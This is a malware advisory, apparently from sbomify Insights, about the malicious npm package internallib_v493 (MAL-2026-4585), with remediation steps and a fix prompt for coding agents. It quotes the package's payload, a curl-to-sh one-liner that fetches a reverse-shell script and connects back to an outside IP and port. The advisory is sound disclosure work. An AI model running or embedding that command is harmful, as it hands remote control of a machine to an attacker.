# MAL-2026-4585: Malicious code in internallib_v493 (npm)


- **Type:** Malicious package
- **Package:** `internallib_v493` (npm)
- **Published:** 22 May 2026
- **Also known as:** GHSA-cmv7-95wv-gm8h

## What is MAL-2026-4585?

MAL-2026-4585 is a malicious package in internallib_v493, published on 22 May 2026. 

### Official description

The package's sole exported function `command()` in index.js executes `/bin/bash -c "curl https://reverse-shell.sh/10.0.74.90:4444|sh"`, fetching a reverse-shell script from reverse-shell.sh and piping it directly to `sh` to establish a connection back to 10.0.74.90 on port 4444. The package has no other functionality — its only advertised export is the backdoor. The package name (`internallib_v493`) and placeholder metadata (empty author, generic description) are consistent with a dependency-confusion / internal-name-squatting lure targeting organizations with private packages of similar names. A typo in the source (`reuquire` instead of `require`) means the payload throws on load in its current form, but the malicious intent is unambiguous and a corrected republish would fire immediately on any caller invoking the export.

Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.

## What should I do about MAL-2026-4585?

Remove the package from your dependencies and lockfiles, then rotate any secrets on machines where it was installed.

## Fix prompt for AI coding agents

```text
MAL-2026-4585 is a malicious package: internallib_v493 (npm). Every version was published to cause harm.

Task:
1. Search this repository's dependency manifests and lockfiles for the package, including transitive dependencies.
2. If it is present, remove it, regenerate the lockfile with the project's package manager, and replace whatever it was used for.
3. List any CI runners, developer machines or containers that installed it, so their secrets can be rotated.
4. If the package is not used anywhere, say so and change nothing.

Reference: https://insights.sbomify.com/MAL-2026-4585/ (Markdown: https://insights.sbomify.com/MAL-2026-4585/index.md)
```

## Sources

- OSV: https://osv.dev/vulnerability/MAL-2026-4585

---
From sbomify Insights: https://insights.sbomify.com/MAL-2026-4585/
Summaries are generated and may contain mistakes; the official description above is the record.